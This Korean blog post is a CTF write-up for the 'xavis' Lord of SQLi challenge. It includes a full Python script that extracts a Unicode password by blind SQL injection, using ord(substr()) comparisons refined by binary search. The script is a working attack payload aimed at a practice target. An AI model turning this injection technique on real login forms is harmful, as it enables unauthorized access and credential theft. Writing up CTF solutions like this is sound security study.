2020. 5. 9. 23:00ㆍWeb
이번문제는 핵심힌트를 write-up을 봐버린 문제이다.
겉으로 봐선 평범한 blind sql injection 문제처럼 생겼다.
하지만 그동안 짜온 blind sql injection 코드를 이용하여 돌리면 답이 나오지 않는다.
일단 pw의 substr(pw,1,1)의 길이를 보면
비밀번호는 유니코드로 되어있던 것이다..
유니코드는 https://ko.wikipedia.org/wiki/%EC%9C%A0%EB%8B%88%EC%BD%94%EB%93%9C_%EC%98%81%EC%97%AD
유니코드 영역 - 위키백과, 우리 모두의 백과사전
위키백과, 우리 모두의 백과사전. 유니코드에는 연속된 코드 포인트의 집합인 영역(block, 블록)들이 있다. 각 영역의 이름은 유일하며, 그 범위는 다른 영역과 겹치지 않는다. 영역의 크기는 16의 배수이며, 한 영역은 16의 배수(U+nnn0)인 코드 포인트로 시작한다. 영역은 미등록(unassigned) 상태인 코드 포인트 등을 포함할 수 있다.[1] 유니코드 8.0에는 262개의 영역이 있다. 이 중 160개는 평면 0인 다국어 기본 평면(BMP)
ko.wikipedia.org
브루트포스하기엔 너무 많다.
그래서 이번에 새로운 파이썬 코드를 짜 보았다. 이번 문제이후로 blind sql injection 코드를 짜는 방식이 달라질 것 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
import requests
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
cookies={
"PHPSESSID" : "나의 PHPSESSID"
}
pw = [];
for i in range(1,100):
compare=1
lastCompare = compare
end = False
while True:
payload = '?pw=\' || id=\'admin\' and ord(substr(pw,'+str(i)+',1)) > \''+str(compare);
res = requests.get(url=url+payload,cookies=cookies)
if "Hello admin" in res.text:
print(".",end="")
else :
print("\n"+str(lastCompare)+" < ord(substr(pw,"+str(i)+",1)) < "+str(compare))
if(compare == 1):
end = True
break;
# 2진탐색 시작
high = compare
low = lastCompare
while True:
mid = int((low + high) / 2)
#print(" mid : "+str(mid)+" | ",end="")
print(".",end="")
payload = '?pw=\' || id=\'admin\' and ord(substr(pw,'+str(i)+',1)) = \''+str(mid)
res = requests.get(url=url+payload,cookies=cookies)
if "Hello admin" in res.text:
pw.append(mid)
print("\n")
print(pw)
break
else :
payload = '?pw=\' || id=\'admin\' and ord(substr(pw,'+str(i)+',1)) < \''+str(mid)
res = requests.get(url=url+payload,cookies=cookies)
if "Hello admin" in res.text:
high = mid
else :
low = mid
break
lastCompare = compare
compare *= 2
if end == True:
break
print("\n-------------\n")
print(pw)
|
cs |
compare 를 *2해가며 비교하여 최대값과 최소값을 구한후
2진탐색을 이용해서 조회횟수를 줄였다.
그렇게 구한 위 값들을 유니코드 텍스트로 바꾸면
pw는 '우왕굳' 이다.
'Web' 카테고리의 다른 글
LOS - iron golem (0) | 2020.05.14 |
---|---|
HackCTF - Wise Saying (0) | 2020.05.10 |
LOS - zombie_assassin (0) | 2020.05.08 |
LOS - succubus (0) | 2020.05.08 |
LOS - assassin (0) | 2020.05.07 |